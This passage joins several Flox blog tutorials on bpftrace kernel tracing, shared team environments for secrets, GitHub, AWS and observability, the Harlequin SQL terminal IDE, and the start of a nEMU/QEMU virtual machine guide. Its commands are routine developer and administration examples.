refactoring software as part of a team is a radically different experience. Flox enables you to manage both your code and its runtime dependencies in the same repository, such that the runtime environment is defined _as part of the project’s codebase_. This means you can use the same environment across your SDLC, from local development, to building and testing in CI, to deployment in prod. Changes you make to the environment are by definition versioned, tracked, and integrated alongside code changes. This Just Works whether you're using GitHub, GitLab, Azure DevOps, AWS CodeCommit, or other platforms. And since a Flox environment’s manifest functions as both an [SBOM](https://insights.sei.cmu.edu/blog/applying-the-sei-sbom-framework/) and a declarative definition of what the environment is and how it works, it can help replace lengthy, complicated README files, too. Try it yourself. [Download Flox](https://www.flox.dev/get) and pull one of our prototype environments from [FloxHub](https://flox.dev/blog/write-once-take-anywhere-home-away-from-home-with-floxhub/). Running a local, container-less instance of our [PostgreSQL example environment](https://flox.dev/blog/flox-1.3-simplified-service-management-with-flox) is as simple as typing: ``` flox activate -r flox/postgres ``` Title: bpftrace: A Scriptable Magnifying Glass with X-ray Vision for Linux Source: https://flox.dev/popular-packages/bpftrace--a-scriptable-magnifying-glass-with-X-ray-vision-for-Linux/ Date: 2024-11-22 Category: tutorial # bpftrace: A Scriptable Magnifying Glass with X-ray Vision for Linux bpftrace hooks into the eBPF runtime built into the Linux kernel to give you unparalleled insight into what's happening on your machine. It's inevitable that your machine behaves in an unexpected way. If software always did what you expected, sure, you'd have fewer gray hairs, but writing software would be much less interesting. Depending on the context you may run your program under a debugger, open the dev tools in your browser, or you may run `perf` to see where your program is spending its execution time. Allow me to add another tool to your toolbox: [`bpftrace`][bpftrace_repo]. ## eBPF [eBPF][ebpf] is a technology that lets you dynamically instrument and program the Linux kernel. A core piece of eBPF is a small bytecode interpreter embedded in the Linux kernel. Programs written and compiled for eBPF can be triggered by events in the Linux kernel, such as a process exiting, memory being allocated, a file being read, or a packet arriving from the network. Some programs use eBPF (which stands for "extended Berkeley Packet Filter") to inspect and route every incoming network packet. As you can imagine, this bytecode interpreter needs to run pretty quickly to not affect network performance too much! ## bpftrace `bpftrace` leverages eBPF to allow you to see deep inside your system and ask arbitrary questions about what's happening under the hood. Let's start out by installing `bpftrace` from the Flox Catalog. If you're on macOS, you're out of luck since `bpftrace` uses features built into the Linux kernel. Follow along anyway, `bpftrace` is pretty cool. Create a new directory `bpftrace_fun` so we can create a Flox environment and install `bpftrace`. ``` $ mkdir bpftrace_fun && cd bpftrace_fun $ flox init ✨ Created environment 'bpftrace_fun' (x86_64-linux) Next: $ flox search <- Search for a package $ flox install <- Install a package into an environment $ flox activate <- Enter the environment $ flox edit <- Add environment variables and shell hooks $ flox install bpftrace ⚠️ Installing 'bpftrace' for the following systems: ["aarch64-linux", "x86_64-linux"] ✅ 'bpftrace' installed to environment 'bpftrace_fun' ``` You see a warning here because Flox environments are cross-platform by default, but Flox knows that `bpftrace` is only available on Linux and helpfully installs it only for Linux systems. Let's activate the environment so we can use `bpftrace`: ``` $ flox activate ✅ You are now using the environment 'bpftrace_fun'. To stop using this environment, type 'exit' flox [bpftrace_fun] $ # ready to go! ``` ## Getting familiar with bpftrace `bpftrace` lets you write scripts in an `awk`-inspired language to decide which kernel events (called "probes") you want to respond to, at which point you can extract information from those events or the system state, and print formatted output. `bpftrace` _also_ comes with a collection of useful scripts already written for you, so let's run one of those. We'll start with `cpuwalk.bt`, which samples which CPUs are executing processes and provides you with a histogram of execution per CPU. This program runs until you press `Ctrl-C`, and displays the histogram on exit. Note that `bpftrace` and its bundled scripts require superuser permissions to run. ``` flox [bpftrace_fun] $ sudo cpuwalk.bt Attaching 2 probes... Sampling CPU at 99hz... Hit Ctrl-C to end. ^C @cpu: [0, 1) 6 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@| [1, 2) 0 | | [2, 3) 1 |@@@@@@@@ | [3, 4) 0 | | [4, 5) 4 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ | [5, 6) 3 |@@@@@@@@@@@@@@@@@@@@@@@@@@ | [6, 7) 1 |@@@@@@@@ | [7, 8) 1 |@@@@@@@@ | [8, 9) 1 |@@@@@@@@ | [9, 10) 0 | | [10, 11) 0 | | [11, 12) 1 |@@@@@@@@ | [12, 13) 6 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@| [13, 14) 0 | | [14, 15) 1 |@@@@@@@@ | [15, 16) 0 | | [16, 17) 2 |@@@@@@@@@@@@@@@@@ | [17, 18) 0 | | [18, 19) 1 |@@@@@@@@ | [19, 20) 0 | | [20, 21) 1 |@@@@@@@@ | [21, 22) 2 |@@@@@@@@@@@@@@@@@ | [22, 23) 0 | | [23, 24) 0 | | [24, 25) 3 |@@@@@@@@@@@@@@@@@@@@@@@@@@ | [25, 26) 0 | | [26, 27) 4 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ | [27, 28) 0 | | [28, 29) 0 | | [29, 30) 1 |@@@@@@@@ | [30, 31) 0 | | [31, 32) 2 |@@@@@@@@@@@@@@@@@ | ``` That's pretty nifty! Let's try another one. The `undump.bt` script dumps the contents of messages being sent across Unix Domain Sockets on your system (again, press `Ctrl-C` to quit it): ``` flox [bpftrace_fun] $ sudo undump.bt Attaching 3 probes... Dump UNIX socket packages RX. Ctrl-C to end TIME COMM PID SIZE DATA ...(output trimmed) 17:49:02 nsncd 4041 66 {"error":"io.systemd.UserDatabase.NoRecordFound","parameters":{} 17:49:02 nsncd 4041 66 {"error":"io.systemd.UserDatabase.NoRecordFound","parameters":{} 17:49:02 systemd 1 135 {"method":"io.systemd.UserDatabase.GetMemberships","parameters": 17:49:02 systemd-machine 2291 131 {"method":"io.systemd.UserDatabase.GetMemberships","parameters": 17:49:02 nsncd 4041 66 {"error":"io.systemd.UserDatabase.NoRecordFound","parameters":{} 17:49:02 nsncd 4041 66 {"error":"io.systemd.UserDatabase.NoRecordFound","parameters":{} ...(output trimmed) ^C ``` Looks like `systemd` is unhappy about something on my system! Who knew? Ok, one more. The `tcpconnect.bt` script will list all new TCP connections on your machine. Run the script and open a new page in your browser, it should show up in the output: ``` flox [bpftrace_fun] $ sudo tcpconnect.bt Attaching 2 probes... Tracing tcp connections. Hit Ctrl-C to end. TIME PID COMM SADDR SPORT DADDR DPORT 17:53:56 2683 .NET ThreadPool 10.0.0.234 56910 62.182.84.85 80 17:54:21 155511 Socket Thread 10.0.0.234 40406 34.107.243.93 443 17:54:21 155511 Socket Thread 10.0.0.234 40420 34.107.243.93 443 17:54:21 155511 Socket Thread 10.0.0.234 45928 34.149.100.209 443 ^C ``` There's a whole collection of useful scripts bundled with `bpftrace`, and it's crazy that one tool can do so many _different_ things. ## Writing your own scripts While these scripts are useful, at some point you'll have your own ideas about what to instrument. Say, for instance, [you want to track all of the fork and exec system calls that originate from a command][proctrace_post]. In order to customize your instrumentation you'll need to write a `bpftrace` script. Refer to the [bpftrace documentation][bpftrace_docs] for the exact syntax, but it looks pretty similar to `awk` or DTrace if you've used either of those tools before. Here's what the `execsnoop.bt` script looks like: ```awk BEGIN { printf("%-15s %-7s %-7s %s\n", "TIME", "PID", "PPID", "ARGS"); } tracepoint:syscalls:sys_enter_exec* { $task = (struct task_struct *)curtask; printf("%15s %-7d %-7d ", strftime("%H:%M:%S.%f", nsecs), pid, $task->real_parent->pid); join(args.argv); } ``` This script is triggering on the `tracepoint:syscalls:sys_enter_exec*` family of probes to print some information every time a process calls one of the `exec` system calls. To see which probes are available you can run the `bpftrace -l` command. Probes have three components to their names, and you can use an asterisk as a wildcard character. In addition, there are separate probes for the start and end of a system call: `tracepoint:syscalls:sys_enter_*` and `tracepoint:syscalls:sys_exit_*`. Let's see which probes exist for the `read` system call: ``` flox [bpftrace_fun] $ sudo bpftrace -l 'tracepoint:syscalls:sys_*_read*' tracepoint:syscalls:sys_enter_process_vm_readv tracepoint:syscalls:sys_enter_read tracepoint:syscalls:sys_enter_readahead tracepoint:syscalls:sys_enter_readlink tracepoint:syscalls:sys_enter_readlinkat tracepoint:syscalls:sys_enter_readv tracepoint:syscalls:sys_exit_process_vm_readv tracepoint:syscalls:sys_exit_read tracepoint:syscalls:sys_exit_readahead tracepoint:syscalls:sys_exit_readlink tracepoint:syscalls:sys_exit_readlinkat tracepoint:syscalls:sys_exit_readv ``` Let's dig in to the `read` system call and see what information it makes available: ``` flox [bpftrace_fun] $ sudo bpftrace -lv 'tracepoint:syscalls:sys_enter_read' tracepoint:syscalls:sys_enter_read int __syscall_nr unsigned int fd char * buf size_t count ``` From this output you can see that we get access to the file descriptor, a pointer to the buffer that will be read into, and the number of bytes that were requested to be read. Let's make a script called `bigreadsnoop.bt` that reports reads larger than 100,000 bytes on this machine: ```awk BEGIN { printf("%-15s %-7s %-8s\n", "TIME", "PID", "READSIZE"); } tracepoint:syscalls:sys_enter_read { if (args.count > 100000 ) { printf("%15s %-7d %-7d\n", strftime("%H:%M:%S.%f", nsecs), pid, args.count); } } ``` Running `bpftrace` with this script on my machine gives the following output: ``` flox [bpftrace_fun] $ sudo bpftrace bigreadsnoop.bt Attaching 2 probes... TIME PID RREQ 18:22:23.401705 1169831 262144 18:22:23.423740 1169831 262144 18:22:23.445129 1169831 262144 18:22:23.466403 1169831 262144 18:22:23.489340 1169831 262144 ... ``` I'm not sure what this process is doing, but it seems to be reading quite a lot! It's trying to read 262kB every ~20ms! ## Summary Everyone has packages that they love, and `bpftrace` is one of mine. What are yours? [bpftrace_repo]: https://github.com/bpftrace/bpftrace [ebpf]: https://ebpf.io/ [proctrace_post]: https://flox.dev/blog/a-real-world-rust-project-with-flox/ [bpftrace_docs]: https://github.com/bpftrace/bpftrace/blob/master/man/adoc/bpftrace.adoc Title: Flox and Teams: Using Shared Flox Environments Source: https://flox.dev/blog/flox-and-teams-using-shared-flox-environments/ Date: 2024-11-15 Category: guide # Flox and Teams: Using Shared Flox Environments Teams are held back by the unpredictability of things they should be able to control. With shared Flox environments, working on a team becomes a completely different experience. Developing software on a team can feel like an exercise in [“Running up That Hill.”](https://en.wikipedia.org/wiki/Running_Up_That_Hill) First you set up your local environment. Then your environment drifts, so you set it up again. And again. And again and again. Meanwhile, your teammates are stuck in the same loop. Someone’s environment is always out of phase, and it feels like your team isn’t so much running but _crawling_ up that hill, with none of the pathos in Kate Bush’s song, because you’re each dragging several short tons of entropy behind you. VMs or dev containers bring a different set of problems. Working with them can feel like being trapped in a horror-puzzle game such as _Escape the Backrooms_—you’re unable to access tools, data, secrets, and environment variables on your local system, you struggle with storage and networking, and so on. Flox gives you a new, better way to do this. In a previous article, we explored how Flox [transforms](https://flox.dev/blog/flox-and-teams-onboarding-made-easy-with-github-and-flox/) the experience of onboarding into a new role, joining a new team, or pitching in on a new project. In this article, we’ll look at how Flox makes it easy to create shared environments for teams, and explore why you’d want to do this. Spoiler alert: it’s all about [slipping the surly bonds](https://en.wikipedia.org/wiki/High_Flight#Depictions_in_mass_media) of entropy and sprinting up that hill! ## Shared secrets Like most teams, yours relies on a CLI password manager to simplify access to cloud infrastructure, SaaS and PaaS services, and other stuff. The problem is someone’s local environment is _always_ misbehaving, so the password manager’s CLI doesn’t work for them. You get around this by copying-and-pasting secrets from the password manager’s Web interface, usually exporting them as environment variables. _Or_ SSHing into shared systems to use the CLI there. _Or_ asking in Slack for help. _Or_ getting nothing done. There’s gotta be a better way, right? There is! You can use Flox to create a portable, reproducible environment for securely managing secrets. In fact, we’ve [published an article](https://flox.dev/blog/adding-1password-secrets-to-flox-environments/) showing you how to do this with _any_ password manager or secrets service. Let’s briefly explore how this works in Flox. Everyone on your team has different tokens for handling their GitHub roles and responsibilities, and each of you stores these tokens in 1Password vaults. Performing certain types of actions on GitHub requires retrieving the correct role-specific credentials from 1Password and injecting them into your workflow. Thankfully, your platform engineering team uses Flox to simplify this for you. From your perspective, authenticating with GitHub, AWS, Databricks, and the other services you use is as simple as running: ``` flox activate -r foo-enterprises/1password --mode run ``` This activates an _ephemeral_ local copy of a Flox environment that’s managed by your platform engineering team. Notice the **`--mode run`** option used above. With Flox you can activate an environment using either **`dev`** (default) or **`run`** mode. In **`run`** mode Flox will set variables and run hooks defined in your manifest, but stops short of setting environment variables like `LIBRARY_PATH` and `PYTHONPATH` that are essential when _developing_ software, but can break software outside of that development context. Once this environment is activated, you can use `git` or `gh` as part of your workflow without ever being prompted for your GitHub tokens—and without exporting them as system-wide environment variables. As far as you’re concerned, this _always_ just works, because Flox gives you the benefits of a container—like isolating dependencies—without the inconveniences, such as hermetic isolation from your local system. So when you're doing stuff in your workflow, running commands like... ``` gh repo edit foo-enterprises/graphql-listener --visibility private gh repo delete foo-enterprises/cobol-app-that-outlived-my-foxpro-apps ``` ...just works, transparently, as does running a command like: ``` gh issue edit 2112 --label "showstopping-awful-no-good-bug" --milestone "v6.02.10.23" ``` The upshot is that you never even need to think about your GitHub tokens—until it's time to generate new ones. ## Shared cloud toolkits Speaking of GitHub, you can use Flox to create shared, reproducible environments containing all the tools you need to work with any cloud infrastructure service (AWS, Azure, GCP), or with cloud SaaS services like GitHub, GitLab, Databricks, and so on. Or you can create shared environments for specific use cases, like building and deploying AWS Lambda functions, managing workloads in Google Kubernetes Engine, and so on. For example, say your platform engineering team creates a shared Flox environment for GitHub that includes not just `git` and `gh`, but an assortment of other useful/commonly used tools, too. From your perspective, using this environment is as simple as typing: ``` flox activate -r foo-enterprises/github-shell --mode run ``` Or this environment could just activate automatically, without you even noticing it, when you open a terminal, or [change into a GitHub repo](https://flox.dev/blog/auto-environment-activation-with-direnv-flox/). All you know is that typing `which gh`, which `git`, or `which gh-dash` returns the following: ``` /home/daedalus/dev/vault/.flox/run/x86_64-linux.vault/bin/gh /home/daedalus/dev/vault/.flox/run/x86_64-linux.vault/bin/git /home/daedalus/dev/vault/.flox/run/x86_64-linux.vault/bin/gh-dash ``` And that **`flox list`**-ing the contents of your `github-shell` environment tells you these packages are installed: ``` gh: gh (2.61.0) gh-dash: gh-dash (4.7.0) ghq: ghq (1.6.3) gitFull: gitFull (git-with-svn-2.47.0) gitui: gitui (0.26.3) lazygit: lazygit (0.44.1) tig: tig (2.5.10) ``` Your platform engineering team might create a similar shared environment for AWS, too. The beauty of using the **`flox activate -r`** command is that _everyone on your team always uses exactly the same version_ of the environment. Platform engineers create `github-shell` and `aws-tools` environments and use **`flox push`** to push these to [FloxHub](https://flox.dev/blog/write-once-take-anywhere-home-away-from-home-with-floxhub/). This gives the platform engineering team an easy way to update and version these environments, as well as make them available to your team—and to others across your org. So running... ``` flox activate -r foo-enterprises/aws-tools --mode run ``` ...transparently activates this environment, while running `which aws`, `which aws-vault`, and `aws-logs` gives you... ``` /home/daedalus/dev/aws/.flox/run/x86_64-linux.aws/bin/aws /home/daedalus/dev/aws/.flox/run/x86_64-linux.aws/bin/aws-vault /home/daedalus/dev/aws/.flox/run/x86_64-linux.aws/bin/awslogs ``` ...and using the **`flox list`** command tells you the following packages are installed: ``` aws-iam-authenticator: aws-iam-authenticator (0.6.27) aws-sam-cli: aws-sam-cli (1.127.0) aws-vault: aws-vault (7.2.0) awscli2: awscli2 (2.19.0) awslogs: awslogs (0.15.0) boto3: python311Packages.boto3 (python3.11-boto3-1.35.30) chamber: chamber (3.1.0) ec2-ami-tools: ec2-ami-tools (1.5.19) ec2-api-tools: ec2-api-tools (1.7.5.1) ec2-utils: ec2-utils (amazon-ec2-utils-2.2.0) fzf: fzf (0.56.0) jless: jless (0.9.0) jq: jq (1.7.1) python311Full: python311Full (python3-3.11.10) serverless: serverless (3.38.0) yq: yq (python3.12-yq-3.4.3) ``` Best of all, you can [“layer”](https://flox.dev/blog/a-very-short-introduction-to-layering-in-flox/) your platform engineering team’s shared `1Password-aws` environment on top of its shared `aws-tools` environment. This makes your AWS workflows ... seamless. Yep, I know that word is _hugely_ overused, but it’s absolutely appropriate in this case. So how does this work in practice? Transparently of course! For example, running commands like... ``` sam deploy --parameter-overrides ExecutionRoleArn=arn:aws:iam::314159265358:role/sauron sam deploy --guided sam deploy --stack-name the-darkest-depths-of --s3-bucket mordor --capabilities CAPABILITY_IAM aws lambda get-function --function-name PreciousLambda ``` ...just works, with seamless authentication, as does running a command like: ``` aws eks update-kubeconfig --region us-west-2 --name In-the-Wake-of-Poseidon ``` ## Shared observability One last example, just to highlight yet another great use case for teams and Flox shared environments. Your team develops and maintains a production service destined to run in [EKS](https://aws.amazon.com/eks/). You’re building locally, rolling up what you build into a container, and pushing that container to CI. You use Linux on your laptop, while most of your teammates use MacBooks or Windows laptops. This is great for team morale—and lends itself to more than a little tribal teasing—but poses a few obvious problems, starting with providing a standard, reproducible local dev experience. Flox gives your team a [powerful, flexible solution](https://flox.dev/blog/onboarding-made-easy-with-github-and-flox/) to this problem. But you _still_ encounter other kinds of platform-specific challenges—like how to provide a standard observability (o11y) experience across platforms. Locally, you and your teammates use different combinations of tools on Linux, Windows, and macOS to monitor performance and resource consumption. In production, however, your org uses a purpose-built service to _observe_ this service. How do you build and test locally while (**a**) simulating prod workloads, (**b**) monitoring local performance, and (**c**) translating performance data into the o11y metrics you use in prod? One solution is to run the same container you use in prod locally, but … yuck! Your teammates on macOS and Windows really don’t like the performance impact, the hassle of configuring container runtimes, or the extra steps involved in rolling up their builds into containers just so they can test them. You can empathize! So can your platform engineering team. Working with SREs, they came up with the perfect solution: a Flox environment that runs your org’s production o11y stack. You activate this locally by typing: ``` flox activate -r foo-enterprises/o11y-stack --mode run ``` Once you do this, you’re running _the same o11y stack you run in production_—except it’s running locally on yours and your teammates’ Linux, macOS, and Windows (with WSL2) systems, using platform-optimized binaries and libraires. Curious, you type **`flox list`** to explore what’s in this Floxified o11y runtime. You’re amazed at what you see: ``` cadvisor: cadvisor (0.49.1) grafana: grafana (11.3.0) opentelemetry-collector: opentelemetry-collector (0.109.0) prometheus: prometheus (2.55.0) prometheus-json-exporter: prometheus-json-exporter (0.6.0) prometheus-node-exporter: prometheus-node-exporter (node_exporter-1.8.2) prometheus-postgres-exporter: prometheus-postgres-exporter (postgres_exporter-0.15.0) ``` All of this runs in a virtual environment on your local system, without containers or VMs. It transforms the way you build and test software before pushing it to CI. And the way it works is completely transparent to you. ## Share and share alike with Flox Teams are held back by a combination of factors, starting with technical, architectural, and process decisions they just can't control. On top of this, teams are also routinely frustrated by the unpredictability of things that _should_ be in their control, like the state of each team member's local development environment. With Flox, working on a team becomes a completely different experience. Using shared Flox environments encourages collaboration and makes your team more productive. Even better, the same Flox environments you use to develop locally Just Work when pushed to CI, or deployed in prod. Flox works with any software architecture, can be used with any combination of languages or toolchains, and supports virtually every open framework (and some closed ones) used today. Flox fits into your existing workflows, drops into your existing processes, and is agnostic about high-level technical and architectural decisions that are above your paygrade (and beyond your control). Try it yourself. [Download](https://flox.dev/docs/install-flox/) Flox and pull one of our [prototype environments](https://flox.dev/environments/) from FloxHub. Running a local, container-less instance of our 1Password example environment is as simple as typing: ``` flox activate -r flox/1password --mode run ``` Title: Psst: Want a Pretty + Polished + Powerful SQL IDE for Your Terminal? Source: https://flox.dev/popular-packages/psst-want-a-pretty-polished-and-powerful-sql-ide-for-your-terminal/ Date: 2024-11-15 Category: tutorial # Psst: Want a Pretty + Polished + Powerful SQL IDE for Your Terminal? Harlequin not only has an extremely pretty terminal UI, it’s got an oh-so-pretty terminal UX, too, with point-and-click mouse support, command-completion capabilities, and other goodies. When my friend [Mark Madsen](https://www.linkedin.com/in/markmadsen/) messaged asking, “u heard about this SQL TUI tool called harlequin? does ur 🐱alog have this 🔥?”, my first response was: “What’s a [TUI](https://en.wikipedia.org/wiki/Text-based_user_interface)?” Seriously, though, once I looked into what [Harlequin](https://harlequin.sh/) does, I was hooked. As for Mark’s second question, I didn’t for a second doubt the answer: “It’s in there. It _has_ to be in there.” Harlequin is, indeed, in there. And Mark’s questions set the stage for this package guide, featuring [Harlequin](https://github.com/tconbeer/harlequin)—straight from the Flox Catalog. Read on to find out how you can get and share a portable, reproducible SQL editor environment—with no containers or VMs! ## Getting It Let’s kick things off by [installing Flox](https://flox.dev/docs/install-flox/). If you haven’t yet done this, you can easily [download](https://flox.dev/get/), install, and play along at home. Second, let’s grab Flox’s [PostgreSQL example environment](https://flox.dev/environments/). We’re going to need a database to query against, and (as Han Solo might put it) PostgreSQL’ll do nicely. ``` mkdir postgres && cd postgres flox pull --copy flox/postgres ``` The `flox pull --copy` command makes a local copy of the `postgres` environment, which is hosted on [FloxHub](https://flox.dev/blog/write-once-take-anywhere-home-away-from-home-with-floxhub/). We're copying `postgres` rather than activating it as a FloxHub environment (using `flox activate -r`) because we need to add `harlequin` and other packages to it. The `postgres` environment is managed (by Flox), so it's [locked](https://flox.dev/docs/concepts/environments/?h=lock#manifest-lock-floxenvmanifestlock). If we add packages to it, change environment variables, or add new services, everyone who runs it using `flox activate -r` would get those changes. OK, now we’ve got to install Harlequin and its PostgreSQL adapter. We’ll install a compatible Python version, too, just to rule out the possibility of dependency conflicts with our local Python installation. Flox makes this easy enough: ``` flox install harlequin python312Full python312Packages.harlequin-postgres ✅ 'python312Full' installed to environment 'postgres' ✅ 'harlequin' installed to environment 'postgres' ✅ 'harlequin-postgres' installed to environment 'postgres' ``` Awesome. Now let’s light this candle! We’ll start the `postgres` environment using the `flox activate -s` switch, which tells Flox to spin up any services defined in its declarative [manifest](https://flox.dev/docs/concepts/manifest/?h=manifest). ``` ✅ You are now using the environment 'flox/postgres (remote)'. To stop using this environment, type 'exit' ✅ Initialize PostgreSQL (/tmp/.tmpyJXAm1/postgres/data) ✅ Configure PostgreSQL (/tmp/.tmpyJXAm1/postgres/postgresql.conf) ✅ Database 'pgdb' created ╔═══════════════════════════════════════════════╗ ║ ║ ║ Start PostgreSQL in the background: ║ ║ 👉 flox services start ║ ║ 👉 flox activate --start-services ║ ║ ║ ║ Try to connect to PostgreSQL: ║ ║ 👉 psql ║ ║ ║ ╚═══════════════════════════════════════════════╝ ``` This puts me into a subshell where I can access and use the software Flox just installed. Now I’m ready to run Harlequin! To get right to the fun part, I’ll skip the steps where I create and populate my database. If you’re interested in what these involved, jump ahead to **Housekeeping Notes**. ## Using It We'll use Harlequin to query against a database containing information about [_The Simpsons_](https://en.wikipedia.org/wiki/The_Simpsons)—stuff like episode names, numbers and descriptions, guest stars, directors, writers, and so on. To run Harlequin, all you’ve gotta do is plug the defaults from the Flox PostgreSQL environment into a [connection string](https://en.wikipedia.org/wiki/Data_source_name) and run it in your terminal: ``` harlequin -a postgres -h 127.0.0.1 -p 15432 -U pguser --password pgpass -d pgdb ``` (**Programming note**: You could easily [alias this](https://flox.dev/blog/mastering-hooks-and-profiles-for-reproducible-flox-environments/) connection string in your Flox environment—or have it [run automatically](https://flox.dev/docs/?h=hook#add-shell-hooks) when you activate your environment.) As you can see, Harlequin not only has an extremely pretty terminal UI, it’s got an oh-so-pretty _terminal UX_, too. For one thing, it supports point-and-click mouse interaction, something that still amazes me whenever I encounter it; for another, it provides command- and keyword-completion capabilities, as shown below. This isn’t just one of the prettiest terminal tools I’ve ever used, it’s one of the most useful, too. The idea with this first query is just to verify that my database actually works. So I’m starting with something basic, like which episodes comprise Season 2 of _The Simpsons_. Booyah! It works! Now I’ll try something just a mite more advanced: in which episode did the immortal Richard Starkey guest star? How about the White Stripes? I know Jack White and Meg White guest-starred in an episode, although I can’t remember if they were credited as the White Stripes. Which episode was it? Now that I think on it, _The Simpsons_ sure had scads of guest stars. How many episodes featured multiple stars? Searching for this on IMDB is … well, I have no idea how I’d do that using its basic search interface. With our PostgreSQL _Simpsons_ database, it’s easy: One last query, just to dust off my SQL: can we list episodes in which _specific_ guests starred together? Yes we can! ## Sharing It I can also use Flox to easily share what I’ve created with … anybody, including my friend Mark, who—as an old-school software engineer-turned-data-architect—is reflexively skeptical of any technology promising to do everything Flox does. I can either push my `postgres` repo to GitHub or use the **`flox push`** command to push it to FloxHub. Because Mark hitherto has resisted the Call of Flox, I’ll opt for the GitHub method. First I’ll `git init` a repo in my project directory, then I’ll run `git add .` and `git commit`. Next, I’ll use `gh` to create a corresponding GitHub repo and connect it to my local repo. Finally, I’ll `git push` my Floxified repo to GitHub. Sound familiar? It should: it’s the same workflow we use whenever we create a new GitHub repo! If I _really_ want to make things easy, I could add my `get-floxxed.sh` script to my GitHub repo. This automatically downloads and installs the latest version of Flox. From Mark’s perspective, all he’d need to do is `git clone` my repo and run `get-floxxed.sh`. I could even configure this script to prompt him: “Do you want me to create a ‘harlequin` alias you can use to activate this environment?” If Mark were already an inveterate Flox user like me, this would be even easier. I could just tell him to run... ``` flox pull --copy barstoolbluz/postgres ``` ...and he’d get a portable, reproducible version of my environment. ## Making It Your Own I built extra packages (like jq and jless) into _my_ version of the `postgres` environment so Mark has everything he needs to transform and load data into his local PostgreSQL instance. I also added some logic that automatically creates and activates a Python virtual environment (venv), just in case he needs to do some of this stuff using Python. In addition, the environment now looks for and parses a `requirements.txt` file and, if it finds one, [automatically installs](https://flox.dev/blog/using-flox-to-create-portable-reproducible-python-environments/) any Python dependencies. ``` daedalus@askesis:~/dev/postgres$ flox activate -s --mode run ✅ You are now using the environment 'postgres'. To stop using this environment, type 'exit' ✅ Database 'pgdb' already exists ⚡️ Activating existing venv in /home/daedalus/dev/postgres/.flox/cache..done. ╔═══════════════════════════════════════════════╗ ║ ║ ║ Start PostgreSQL in the background: ║ ║ 👉 flox services start ║ ║ 👉 flox activate --start-services ║ ║ ║ ║ Try to connect to PostgreSQL: ║ ║ 👉 psql ║ ║ ║ ╚═══════════════════════════════════════════════╝ ``` In the `profile` section of my `postgres` environment's [manifest](https://flox.dev/blog/mastering-hooks-and-profiles-for-reproducible-flox-environments/), I 've aliased `harlequin` to the correct database connection string, so connecting to the local PostgreSQL database instance is as simple as can be. Mark has a massive collection of scholarly PDFs he’s always struggling to organize, so I went ahead and created a mock data model for importing, managing, and searching metadata from these. He can use Harlequin to perform this entire process, from running the DDL that creates database objects, to dropping the existing databases (if he wants to), to populating the `researchpapersdb` database itself. Speaking of which, in the screenshot below, I’ve already run `CREATE DATABASE ResearchPapersDB;`, which defined the database of the same name that you see in Harlequin's left-hand pane. Now I've highlighted `USE ResearchPapersDB;` and can run that command by clicking the `Run Selection` button. From there, creating the tables and other schema objects defined in the DDL is as easy as highlighting each statement in Harlequin’s query editor and clicking `Run Selection`. A SQL guru like Mark should have no problem with this! ## Housekeeping Notes I sourced the dataset for my _Simpsons_ database from this [GitHub repo](https://github.com/colinxfleming/simpsons_data). It’s a little dated, and it’s missing some essential guest stars (Hello!? [The Ramones]()!? [Thomas Pynchon](https://en.m.wikipedia.org/wiki/All%27s_Fair_in_Oven_War)?! [Johnny Cash]()?!) but it’s nicely formatted JSON and working with it was a pleasure. My thanks to its creator! I did have to do some prep work on this dataset, but this wasn’t an altogether un-fun activity. The quotes (`”` and `”`) in the JSON weren’t escaped, so I needed to fix that. And I also had to convert the dataset's JSON objects into a newline-delimited format so I could get PostgreSQL to process it. On the whole, [pretty standard, really](https://getyarn.io/yarn-clip/6a432808-0710-4674-8340-ebef6599e346). Once this was done, I was able to delegate the following operations to PostgresSQL’s database engine: - Import JSON data directly as JSONB into a raw/temporary PostgreSQL table; - Transform the JSONB and then load the resulting tabular structure into a relational table. Believe it or not, this was actually fun! ## Summary So that’s Harlequin. Pretty neat, huh? Pretty _and_ neat. Even better, Harlequin isn’t just “free” as in F/OSS, but “free” as in free of charge. This last is amazing! To be honest, I would happily _pay_ for a tool like this. I’m both humbled and amazed by the quality of the open source software that people like [Harlequin’s maintainer](https://tedconbeer.com/) and the [community supporting it](https://github.com/tconbeer/harlequin/graphs/contributors) gift to us. Happy Hacking! Title: How to Manage QEMU Virtual Machines from the Terminal with nEMU Source: https://flox.dev/popular-packages/create-and-manage-vms-in-your-terminal-with-nemu-and-flox/ Date: 2024-11-08 Category: tutorial # How to Manage QEMU Virtual Machines from the Terminal with nEMU Think of nEMU as kind of like a TUI complement to virt-manager, just cooler and awesomer because you can run it in your favorite terminal emulator! [nEMU](https://github.com/nemuTUI/nemu), is an [ncurses](https://en.wikipedia.org/wiki/Ncurses)-based terminal UI (TUI) for [QEMU](https://github.com/qemu/qemu), the awesomely versatile cross-platform hypervisor and [ISA](https://en.wikipedia.org/wiki/Instruction_set_architecture) emulator. Think of nEMU as a complement to [virt-manager](https://en.wikipedia.org/wiki/Virt-manager). *Note: This guide covers the ncurses-based TUI nEMU. It is distinct from the Intel virtualization project also known as NEMU.* TL;DR - nEMU provides a simple terminal UI for managing QEMU virtual machines. - Install nEMU easily using Flox environments. - Flox creates isolated environments for running nEMU and VM dependencies. - nEMU simplifies creating, configuring, and managing VMs from the terminal. - Import existing VMs or create new ones with nEMU. ## Why use a TUI for QEMU management When you’re already working in the terminal, switching to a graphical interface just to manage a VM can feel unnecessarily heavy. A TUI keeps everything in the same workflow you’re already using, and because it’s driven entirely by the keyboard, actions like launching, stopping, or inspecting a VM are often faster than clicking through layers of menus in a GUI. It’s a more natural fit for developers who value speed, focus, and minimal context switching. A terminal‑based interface also pays off when you’re managing VMs on remote or headless machines. Instead of forwarding X11 or relying on a full desktop session over SSH, a lightweight TUI works anywhere your terminal does. This makes remote QEMU management far more reliable, especially in environments where you don’t have graphical support or simply don’t want the overhead. ## Installing nEMU and QEMU via Flox If you use VMs on Linux or macOS, you might be partial to QEMU. Sometimes, however, QEMU can be frustrating. QEMU’s trademark configurability and its staggering array of command-line options is a double-edged sword, especially when working with advanced configurations. nEMU might not help you with the GPU passthrough thing, nor with the most esoteric of QEMU use cases, but it does make it a cinch to create, configure, monitor, manage, and (just as important) change VMs. With this as preamble, let’s put nEMU to work. First, install the necessary tools. This guide assumes you have already [installed Flox](https://flox.dev/docs/install-flox/). If you haven’t, you can easily [download](https://flox.dev/get/), install, and follow along. Second, we need to create a new Flox environment. For simplicity’s 